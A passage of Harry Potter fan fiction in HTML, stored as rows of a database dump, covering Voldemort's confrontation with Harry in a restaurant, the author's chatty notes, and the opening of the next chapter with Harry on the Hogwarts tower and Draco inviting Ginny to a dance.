up.&#8221; A new voice came into\nhearing. It was dark. Evil. &#8220;Stay seated, please.&#8221; It was sarcastic and full of\npower and self awareness. It was cocky and dripped with venom. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was Voldemort.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up from the sink where he was washing his face\nand took in a sharp breath of air when his scar suddenly burned with fire.\n&#8220;He&#8217;s here.&#8221; He stated, standing to his full height. &#8220;Voldemort&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Quickly he ran from the loo and back to his table. There he\nsaw him. He was standing only a few feet away from his friends. The people\naround him were terrified to say the least. Each one seemed to want to run away\nas fast as they could, but for some reason did not leave their seats.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">It&#8217;s a spell.</i>&#8221;\nCelestial whispered to him. &#8220;<i style="mso-bidi-font-style:normal">He&#8217;s\nparalyzed their waist down.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Voldemort sat at a booth and crossed his legs smoothly, like\nhe was some sort of ruler taking a throne. He showed complete confidence.\nSeeing Harry, he opened his mouth and spoke directly to him over the fretful\nweeping of the frozen people around him. &#8220;No need to be scared, Potter.&#8221; He\nsaid, motioning him over to the seat across from him in the booth. &#8220;I have no\nintention of killing you right now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">It&#8217;s a mind game.</i>&#8221;\nHarry was coached. &#8220;<i style="mso-bidi-font-style:normal">Don&#8217;t let him psych\nyou out. He&#8217;s doing this for public terror. Sometimes it&#8217;s worth than actual\nrampage. Do </i>not<i style="mso-bidi-font-style:normal"> let him psych you\nout!</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah.&#8221; Harry said, walking past his friends. &#8220;I hear they\nhave great hot tea.&#8221; And he sat across from him. He was aware of everyone\nlooking at them, but paid no attention. &#8220;Tell me, Tom, what brings you here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Voldemort&#8217;s red eyes flashed in anger at the name, but he\nquickly suppressed it. &#8220;Well, Potter,&#8221; He said smoothly. &#8220;I think you would be\nbetter off in my services, after some thinking.&#8221; With this said, he looked over\nat a waitress who was forced to stand frozen in the same spot while all this\ntook place right in front of her. &#8220;Some tea, if you will.&#8221; He waved his wand\nlazily and the waitress found that she suddenly had the urge to make some for him.\nShe left as soon as her legs were able to move again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me?&#8221; Harry asked, amazed. &#8220;Join you?&#8221; Suddenly he set his\njaw. &#8220;Keep dreaming, Tom.&#8221; If Voldemort was upset at being called his real name\nthis time, he did not show it. &#8216;<i style="mso-bidi-font-style:normal">Cecilia&#8230;</i>&#8217;\nHarry begged. &#8216;<i style="mso-bidi-font-style:normal">I&#8217;m worried&#8230; He could hurt\nanyone here&#8230; my friends are a target!</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">Let me take over</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:normal">What</i>?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">I wish to talk to\nhim.</i>&#8221; She explained, and Harry suddenly found himself taking the back\nburner of his mind. Although grateful for the opportunity to gather his\nthoughts, he gave Cecilia strict limits on what she could do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why ever not?&#8221; Voldemort asked nonchalantly. The waitress\nsat their tea in front of them and suddenly found herself free of the control.\nScreaming in terror, she tried to escape, but found her self once again frozen\nin place. &#8220;You will make a fine death eater.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, under the encouragement of Cecilia, leaned forward\nand picked up the cup of tea and sipped it once before casually leaning back\nand resting his arms out across the top of the seat and crossing his legs.\n&#8220;Give up, Tom.&#8221; Harry waved the motion off with his free hand. &#8220;Why would I\njoin someone weaker than myself? I mean, hell, you already failed to kill me\nsix bloody times.&#8221; His dragon eyes narrowed confidently. &#8220;Shouldn&#8217;t you of learned\nwho is superior by now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To say that Voldemort was angry would be an understatement.\nInfuriated would be closer to the target, but homicidal would be the best term.\nBlack and red lightning snapped around him, making the tablecloth singe and his\ntea cup shatter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You spilt your tea.&#8221; Harry pointed out, motioning with his\ncup calmly and sipping it</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell me, Potter,&#8221; Voldemort grimaced. &#8220;Have you ever danced\nwith the devil?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched him over the rim on his cup, his blue dragon\neyes blazing. &#8220;I haven&#8217;t.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Voldemort stood, obvious that his plan of terrorism did not\ngo the way it had planned. &#8220;I&#8217;ll let you live, as promised. But next time, I&#8217;ll\nfinish what I started in the graveyard all those years back.&#8221; He turned and\nstarted to walk out, but Harry stood as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell me, Tom,&#8221; Harry held out his hand, gathering energy\ninto it. &#8220;What <i style="mso-bidi-font-style:normal">does</i> it feel like to\ndance with the devil?&#8221; He thrust out his hand toward Voldemort&#8217;s back. &#8220;This is\nfor the villagers you killed in front of me! <i style="mso-bidi-font-style:\nnormal">Angel&#8217;s breath that I shatter!&#8221; </i>&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The spell shot through its intended target, as he had\napparated away before it hit. Harry stood, panting. The spell had not only\ndrained him, but all the magical energy that he had been storing for a while.\nSlowly, he sank to his knees and his eyes once again turned emerald green. &#8216;<i style="mso-bidi-font-style:normal">A little extreme.</i>&#8217; He thought to\nhimself. &#8216;<i style="mso-bidi-font-style:normal">But I guess you&#8217;ve been waiting\nfor that for years, huh Cecilia? Next time&#8230; just let me know that you&#8217;re going\nto convince me to fire a spell in a crowded restaurant before hand so I can\nstop you, okay? </i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry Potter scared off You-Know-Who!&#8221; One guy suddenly\ncheered as he was able to move again. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry groaned as screams of triumph began. Hermione was now\nhugging him tightly and scolding him for being so reckless, while others were\ntrying to lift them on their shoulders.&nbsp;\nHe never liked being famous for something he didn&#8217;t have any control\nover, but once again he found himself in that situation. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Only he didn&#8217;t dare tell anyone his dragon friend was the\none to do it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Three cheers for Harry Potter!&#8221; A voice rang when Harry was\npulled from Hermione&#8217;s grasp and was now crowd surfing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hip hip Hooray! Hip hip Hooray! Hip hip Hooray!&#8221; The\ncrowd didn&#8217;t stop at three, however, and continued on with praise until they were\nall hoarse.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just want to go home&#8230;&#8221; Harry said under his breath,\nclosing his eyes and trying to will away the people around him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione came to his rescue a moment later and somehow\nmanaged to get him down from the crowd&#8217;s hands. Giving him one last hug and\nscolding, she took his hand and pried him through the crowd of grasping hands\nand shouting people. When she reached the end of the group (which was now\nspilling into the streets), Hermione held up her hands and got silence soon\nafter a random guy yelled for a speech.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s a little tired now.&#8221; Hermione covered for him. He\nhad his arm around her and was leaning more than he should be on her smaller\nfigure. &#8220;The spell he cast took up some of his energy, and after studying all\nday at Hogwarts, he just need some sleep.&#8221; The crowd seemed to oppose this and\nshouts of a party were made.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s <i style="mso-bidi-font-style:normal">enough</i>!&#8221; A\nnew man&#8217;s voice rang out. The crowd instantly fell silent again, now with\nseveral more people starting to circle around the restaurant to see what was\ngoing on. &#8220;Leave Harry Potter alone.&#8221; The voice said. Soon a male emerged from\nthe crowd. He was wearing dark blue regal robes and had an air of importance\naround him. &#8220;I am Akito, the owner of Puer Duex.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Akito walked over to Harry and clasped a hand on his\nshoulder. &#8220;Good work, Harry.&#8221; He congratulated. &#8220;I know you don&#8217;t want all\nthese people to bother you, so I&#8217;ll hold them off. You get back to that school\nof yours okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:normal">Finally</i>,&#8217; Harry\nthought, lifting up his head to smile at the man. &#8216;<i style="mso-bidi-font-style:\nnormal">Someone who respects my wishes.</i>&#8217; He nodded before speaking.\n&#8220;Thanks. I owe you one.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He smirked. &#8220;Just come back sometime, okay? I&#8217;ll always have\na table open for you, not because that you&#8217;re Harry Potter, but because of you\nfacing You-Know-Who and scaring him off. My daughter was in there tonight,\nHarry, and if something happened to her&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Harry nodded with a smirk. &#8220;That&#8217;s means a lot to\nme too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, Hare-bear.&#8221; Hermione encouraged. &#8220;Let&#8217;s get you\nback home, shall we?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Un.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~**~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Ahhhhhhhhhh, feels good to\nhave that chapter done. Truth be told, I didn&#8217;t think that I would get it done\nbefore Monday. 10,000 words sure is a lot. I hope that I can continue to keep\nit up now that College is gotten into full swing. I go from 8:00 A.M. to 1:00 P.M\non Mondays and 8 till noon on\nWednesday and Thursday. Doesn&#8217;t sound like much, does it? Well, College is a\nlot harder than I thought it would be and it kicks my butt. Also I work a\nlittle on Tuesday and Thursday. Add that in with my Anime business (Now named\nT.M. Revolution Anime), and papers for class, My Japanese lessons, Algebra,\nU.S. History, Government, and people coming over to my apartment all the time,\nI don&#8217;t have much free time really. Also, I just bought Dead or Alive Extreme\nVolleyball. I&#8217;m guilty of playing it every chance I get. At least I get a good\nbreak. I feel refreshed after goofing off for a bit. Oh, I only play it for the\nvolleyball. The half nekkid girls in bathing suits\nhave <i style="mso-bidi-font-style:normal">nothing</i> to do with it.\nHonestly&#8230;..really&#8230;.ahhh&#8230;..Kasumi&#8230; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Next part should be posted on Monday afternoon, as usual. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Interesting things:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~This story was originally only going to be 5 parts, but now\nlooks to be more around 7-10</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Chapter names:</p>\n\n<p class="MsoNormal">Daybreak</p>\n\n<p class="MsoNormal">Sunrise</p>\n\n<p class="MsoNormal">Noon</p>\n\n<p class="MsoNormal">Twilight</p>\n\n<p class="MsoNormal">Nightfall</p>\n\n<p class="MsoNormal">Moonrise</p>\n\n<p class="MsoNormal">Midnight</p>\n\n<p class="MsoNormal">Dawn</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~This &#8216;fic was originally going to\nbe written for NAPPA, because he requested one. About 4 pages into it, I\nrealized that it wasn&#8217;t leading to what he wanted but I liked what I was typing\nso I kept on. This &#8216;fic is actually a fluke. ^.^</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Anime sources : This &#8216;chapter is jammed pact of them. I\neven have some people who are holding a contest to se who can point out the\nmost! I&#8217;d like to give a shout out to them: This chapter is dedicated to you\nguys! Trigun, Nadesico, Orphen, Ranma &#189;, Escaflowne, Naruto, and a small\nMarmalade Boy rip was in this chapter. Brownie points if you can get them all!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(118, 5, '\n\n\n\n<p class="MsoNormal">Harry let his robes billow\nout behind him as he watched the sun rise from the trees in the distance. His\nbody was cold and his face hurt from the sting of the wind. At the current\nmoment, he didn&#8217;t bother to care though. His position was slack, as he had one\nleg hanging off the top of the castle while his other was bent at the knee and\nplaced on the side wall. He was lying on his side on top of Hogwart&#8217;s main\ntower. The area up here was flat, giving him enough room to lie comfortably. He\ndidn&#8217;t know if anyone else knew about this spot, as it could only be reached on\nbroom. He had found it his second year after the chamber incident. The wind\nblew freely here, making it cold in the winter but on hot summer days, it was\nthe best place to be in the entire castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His mood matched the weather\ntoday, however. Although it was Sunday and there were no classes, he didn&#8217;t\nfeel like having fun. The clouds seemed to respond to him in a way. They were\ndark and threatening. In an hour or so the sun would have raised enough to be\nblocked by the clouds. &#8220;Some sunrise.&#8221; Harry said in a light, un-caring tone. &#8220;Even\nthe weather has it in for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He sighed and rolled on his\nback, ignoring how hard and cold the stone was under him. He watched the clouds\nmove above him as the sun rose and offered very little warmth. Slowly his mind\nwondered on why he was feeling like he was. Although he didn&#8217;t want to think\nabout it right now, the reason was still there. &#8220;They just don&#8217;t understand.&#8221;\nHe spoke aloud to the wind. &#8220;Voldemort was there to try and raise terror, but\ninstead made people cheer when he left&#8230; He will come back, I know it. Why can&#8217;t\nthey see that? He&#8217;s mad, he&#8217;ll attack&#8230; It&#8217;s my fault. I&#8217;m the one who pissed\nhim off&#8230; What if someone dies?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His voice trailed off and was\ncarried lightly by the wind. &#8220;Cecilia, what should I do&#8230;?&#8221; His face fell even\nmore. &#8220;What can I do&#8230;?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Harry&#8230;&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t say it&#8217;s not my fault!\nDon&#8217;t you <i style="mso-bidi-font-style:normal">dare</i> say it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&#8220;&#8230;&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t want to be congratulated.&#8221;\nHe said aloud again. &#8220;I don&#8217;t want to be smiled at for it. I hate it. I don&#8217;t\nwant to be famous!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&#8220;If you could make people happy and feel safe, would\nyou do it?&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stopped his ranting at\nthe sudden question. &#8220;Yeah, you shouldn&#8217;t have to ask that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&#8220;Then do it. You&#8217;re a symbol, Harry.&#8221;</i> Her voice was soft and caring. <i style="mso-bidi-font-style:\nnormal">&#8220;You a living breathing sign that Voldemort can be defeated. When the\npeople smile at you, take you picture, want to get your autograph, everything,\nHarry, they do it because you make them happy. You make them feel safe. YOU\ngive them HOPE, Harry.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He didn&#8217;t reply to her.\nInstead, he sat up and turned to look at the sun rising. He let the light hit\nhim and the wind blow around him. &#8220;You know&#8230;&#8221; He spoke after a long moment. &#8220;No\nmatter what happens the sun always seems to rise.&#8221; He bent one knee and rested\nhis arm on it. &#8220;Maybe I should learn from it. Tomorrow always comes, no matter\nif the sun&#8217;s hidden behind clouds at some point. It&#8217;s a sign that says that\nthere is always a future&#8230; May be a future I can give to people too?&#8221; Celestial\ndidn&#8217;t reply, but he knew she didn&#8217;t have to. &#8220;You&#8217;re right Cecilia.&#8221; He stood\nand took the full force of the sun&#8217;s blaring light at him. &#8220;This is a new day.\nA day to move forward. If I must be a symbol for the people, so be it.&#8221; He\ngripped his hand into a fist. &#8220;I&#8217;ll show you, Voldemort&#8230;&#8221; He vowed. &#8220;This is\nthe last year you will be able to terrorize this world. To make a world without\nfear, I must first tear down the old. Voldemort&#8230;&#8221; He glared at the rising sun\nand spoke the words of a warrior&#8230; of a savior. &#8220;I will kill you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The month of November seemed\nto fly past the students. Harry trained hard with his friends for the upcoming\ntournament, which was only a month away now. Malfoy and Ginny seemed to spend\nmore time together in the Circle when studying spells and dueling. Ron,\nHermione, and Harry accepted it for the fact that the three of them worked best\nas a trio and the other two as a pair. Malfoy was known as an outcast at school\nnow, and the second generation Marauders were starting to get a little worried\nabout their partner. Well, some more than others, but the feeling was still\nthere.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny sighed when Malfoy\nwalked into the hospital wing. His head was held high and he had a rather smug\nlook on his face. When he got closer to her and she was able to make out his\nface more clearly, she noticed that he had a rather nasty looking bruise on his\nleft cheek and his eye was almost swelling shut. Ginny walked a little to meet\nhim and instantly took his hand when he was close enough.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly, Draco.&#8221; She\nbreathed, leading him over to a bed at the far end of the wing and pulling the\ncurtains around them. &#8220;For someone who doesn&#8217;t like people knowing he comes\nhere sure gets into a lot of trouble.&#8221; He gave her a lopsided grin when she put\nher hands on her hips. &#8220;Who was it <i style="mso-bidi-font-style:normal">this</i>\ntime? Harry? Ron? I <i style="mso-bidi-font-style:normal">told</i> you not to\nduel when not in the circle!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy&#8217;s eyes narrowed. &#8220;And\nI don&#8217;t, I told you that.&#8221; She nodded, agreeing with him. &#8220;I got jumped by a\nfew idiots on my way to the owlery, that&#8217;s all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who would do that?&#8221; She\nasked, putting some clear liquid on a cloth and touching it to his cheek,\nmaking him wince. &#8220;Don&#8217;t be such a baby.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It <i style="mso-bidi-font-style:\nnormal">stings</i>!&#8221; He glared at her. &#8220;Damn, be gentler!&#8221; Ginny smacked him\nacross the side of his head that wasn&#8217;t injured. &#8220;Ow. Sorry, I forgot.&#8221; He\nblushed lightly. &#8220;Not used to it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just don&#8217;t do it anymore,\nI&#8217;m tired of correcting you.&#8221; Ginny finished on his face and blew on it lightly\nto help the sting. &#8220;Hurt anymore?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy touched his cheek.\n&#8220;Nope.&#8221; He moved to hop off the bed, but she stopped him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not so fast, tell me what\nhappened.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He shrugged with a slight\nfrown. &#8220;Just some guys thinking they could get the best of me. If you hadn&#8217;t\nnoticed, I&#8217;m not very popular anymore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think its better this way,\nno offence, but the people you hung out with aren&#8217;t really people I would call\n&#8216;nice&#8217;, you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The blond once again tried to\nhop off the bed and succeeded this time. &#8220;Yeah, I know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny grabbed the back of his\nrobes. &#8220;You could thank me one day for helping you, you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy turned around and gave\nher a questioning look. &#8220;I should apologize.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh? For what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because you have six\nSlytherns coming this way with nasty curses on them, and you got to take care\nof them.&#8221; Ginny swatted at him playfully, but he caught her hand. Their eyes\nmet for a second before Malfoy thrust a piece of paper into her hand and turned\naround and walked briskly to the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny was too surprised to do\nanything other than watch him walk out for a moment. When she realized that she\nstill hadn&#8217;t read his note. Blinking, she noticed it was in an envelope that\nhad her name on it. &#8220;Must be what he was going to use the owls for.&#8221; She mused,\nopening it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Ginny,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nknow this is dumb and I shouldn&#8217;t be doing it. I know your answer already but I\nam still asking anyway. Tell the truth, I don&#8217;t even know </i>why<i style="mso-bidi-font-style:normal"> I&#8217;m still\ngoing to. Well, what I&#8217;m trying to say is, Will you go to the dance with me?</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n~Draco</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">Ginny blinked once, then\nagain. Shaking her head, she read the note a second time, and then a third.\n&#8220;Draco asked <i style="mso-bidi-font-style:normal">me</i> to the dance?&#8221; She\nasked herself, amazed. Suddenly she gave a small smirk. &#8220;That idiot. At <i style="mso-bidi-font-style:normal">least</i> he could have asked me to my\nface&#8230;&#8221; Just then six people moved slowly and painfully into the hospital wing.\nGinny smiled happily and walked to them, making sure to get a few potions to\ncounteract Draco&#8217;s more favourable hexes. &#8220;I wonder what I should wear?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry knocked on the door\nlightly, getting an answer almost immediately. Professor Lupin grinned at Harry\nwhen the seventeen year old entered his office. &#8220;Welcome, Harry. Glad you 